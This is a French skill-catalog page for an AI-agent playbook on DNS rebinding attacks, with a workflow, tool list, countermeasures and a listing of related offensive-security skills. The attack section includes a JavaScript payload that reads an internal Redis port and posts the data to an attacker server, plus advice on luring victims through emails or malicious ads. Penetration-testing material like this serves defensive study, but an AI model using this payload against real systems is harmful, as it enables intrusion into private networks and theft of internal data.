yaklang/attaques-par-renvoi-dns

Playbook d'attaques par renvoi DNS. À utiliser lors du test d'applications qui font confiance à la résolution DNS pour les vérifications d'origine, interagissent avec des services internes depuis le contexte du navigateur, ou lorsque l'SSRF n'est pas possible côté serveur mais que la cible utilise fetch/XHR côté client vers des domaines contrôlés par l'attaquant.

Qu'est-ce que attaques-par-renvoi-dns ?

Ce skill fournit un playbook complet pour réaliser des attaques par renvoi DNS (DNS rebinding) lors de tests de sécurité. Il est conçu pour les applications qui font confiance à la résolution DNS pour vérifier l'origine des requêtes, ou qui interagissent avec des services internes depuis un navigateur. L'attaque contourne les protections de vérification d'origine en manipulant les enregistrements DNS afin que le navigateur passe d'une adresse IP externe à une adresse interne après une résolution initiale réussie. Le skill prend en charge des plateformes comme Firefox, Chrome, Edge et Safari, et utilise des techniques comme l'activation de l'accès privé au réseau (PNA) pour Chrome, l'exploitation de caches DNS ou l'utilisation de domaines `.localhost` pour contourner les restrictions. Le guide inclut des exemples concrets de vecteurs d'attaque, des configurations nécessaires, et des scénarios où l'SSRF n'est pas possible côté serveur mais où le navigateur cible effectue des requêtes fetch/XHR vers des domaines contrôlés par l'attaquant.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/dns-rebinding-attacks

Installed? Explore more Développement et programmation skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Que fait attaques-par-renvoi-dns ?

Playbook d'attaques par renvoi DNS. À utiliser lors du test d'applications qui font confiance à la résolution DNS pour les vérifications d'origine, interagissent avec des services internes depuis le contexte du navigateur, ou lorsque l'SSRF n'est pas possible côté serveur mais que la cible utilise fetch/XHR côté client vers des domaines contrôlés par l'attaquant.

Présentation du Playbook

Le renvoi DNS (DNS rebinding) est une technique qui exploite la manière dont les navigateurs mettent en cache les résolutions DNS. L'idée est de faire en sorte qu'un domaine attaquant pointe d'abord vers une adresse IP externe légitime, puis après un laps de temps très court, pointe vers une adresse IP interne (comme 127.0.0.1 ou 192.168.1.1). Le navigateur, croyant toujours communiquer avec le même domaine, envoie des requêtes vers des services internes, contournant ainsi les politiques de même origine (same-origin policy) et les vérifications d'origine basées sur le DNS.

Cibles

  • Applications web qui utilisent le DNS pour déterminer l'origine (par exemple, vérification de l'en-tête Host, jetons CSRF basés sur le domaine, etc.)
  • Services qui ne sont accessibles que depuis le réseau interne (bases de données, API internes, routeurs).
  • Applications qui exécutent des opérations sensibles côté client comme des appels fetch/XHR vers des domaines contrôlés par l'attaquant.

Prérequis

  • Un domaine que vous contrôlez et dont vous pouvez modifier les enregistrements DNS avec un TTL très bas (par exemple, 0-60 secondes).
  • Un serveur web sur une machine accessible publiquement (vous pouvez utiliser un service cloud ou un VPS).
  • Un client DNS local ou un service DNS public (comme 1.1.1.1 ou 8.8.8.8) qui ne met pas en cache trop longtemps.

Outils

Les outils suivants peuvent être utilisés pour automatiser l'attaque par renvoi DNS :

  • singularity par NCC Group (outil populaire pour automatiser les attaques).
  • dns-rebinding-toolkit par t0x (script Python).
  • rebind par nccgroup (serveur DNS pour renvoi).
  • Serveur web Python (simple pour tester des charges).

Workflow d'Attaque

Étape 1 : Préparation du Domaine

  1. Enregistrez un domaine avec un TTL DNS très bas (par exemple, 60 secondes).
  2. Configurez l'enregistrement A pour le domaine afin qu'il pointe d'abord vers votre serveur web public.
  3. Après une période courte (quelques secondes), modifiez l'enregistrement A pour qu'il pointe vers une adresse IP interne (par exemple, 127.0.0.1).

Étape 2 : Configuration du Serveur Attaquant

  1. Configurez un serveur web pour servir la charge malveillante (par exemple, un script JavaScript) qui effectuera des requêtes vers le domaine attaquant.
  2. La charge peut essayer d'envoyer des requêtes fetch() ou XMLHttpRequest vers des services internes.

Exemple de charge JavaScript simple :

// Envoyez une requête vers le service interne (par exemple, Redis)
const url = 'http://votre-domaine-attaquant.com:6379';
fetch(url)
  .then(response => response.text())
  .then(data => {
    // Envoyez les données extraites vers un endpoint externe
    fetch('http://votre-serveur-attaquant.com/log', {
      method: 'POST',
      body: data
    });
  })
  .catch(err => console.error(err));

Étape 3 : Exécution de l'Attaque

  1. Incitez la cible à visiter votre page web (par exemple, via un lien dans un e-mail, une publicité malveillante, ou un site compromis).
  2. Le navigateur de la cible résout d'abord votre domaine vers votre IP publique et charge la page.
  3. Pendant que le navigateur exécute la charge, vous modifiez rapidement la résolution DNS pour pointer vers une adresse IP privée.
  4. Les requêtes suivantes du navigateur (par exemple, fetch() ou XHR) vers le même domaine iront désormais vers le service interne.
  5. La politique de même origine du navigateur ne bloquera pas ces requêtes car elles sont effectuées vers le même nom de domaine.

Scénarios d'Attaque Courants

1. Interception de Requêtes Redis/Memcached

Si le service Redis ou Memcached écoute sur 127.0.0.1:6379 ou localhost, le navigateur peut envoyer des requêtes HTTP vers ce port. Bien que Redis ne parle pas HTTP, certaines charges HTTP non standard peuvent être transformées en commandes Redis (grâce à des vulnérabilités de désérialisation ou d'autres bugs).

2. Attaque contre des Services Web Internes

Des services web internes comme des API, des panneaux d'administration, ou des bases de données web (par exemple, CouchDB) peuvent être visés. Si ces services ne nécessitent pas d'authentification ou ont des vulnérabilités CSRF, l'attaquant peut exécuter des actions non autorisées.

3. Contournement des Restrictions SSRF

Lorsque l'SSRF est bloqué côté serveur mais que le site cible exécute du code JavaScript côté client qui fait des requêtes vers des domaines externes, le renvoi DNS peut être utilisé pour accéder à des ressources internes.

Contre-mesures

  • Ne faites pas confiance au DNS pour les vérifications d'origine : Utilisez des jetons CSRF basés sur des secrets ou des en-têtes Origin/Referer correctement vérifiés.
  • Utilisez des certificats TLS internes : Si les services internes utilisent TLS avec des certificats signés par une autorité de certification interne, le navigateur bloquera les requêtes de l'attaquant car le certificat ne correspondra pas à l'URL.
  • Activez l'Accès Privé au Réseau (PNA) pour Chrome : Cette fonctionnalité empêche les sites publics d'envoyer des requêtes vers des adresses IP privées.
  • Limitez la résolution DNS : Configurez des TTL DNS longs et utilisez des listes de blocage pour les domaines suspects.

Notes Importantes

  • Cette technique dépend fortement de la configuration du navigateur et du système d'exploitation. Les comportements peuvent varier.
  • Certains navigateurs (comme Chrome) ont implémenté des protections contre le renvoi DNS (comme DNS-over-HTTPS et des délais de rafraîchissement).
  • L'utilisation de cette technique pour des tests de sécurité doit être réalisée avec une autorisation explicite du propriétaire de la cible.

Références

Licence

Ce playbook est fourni à des fins éducatives et de test de sécurité légitime. L'auteur n'est pas responsable d'une utilisation abusive.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Skills associés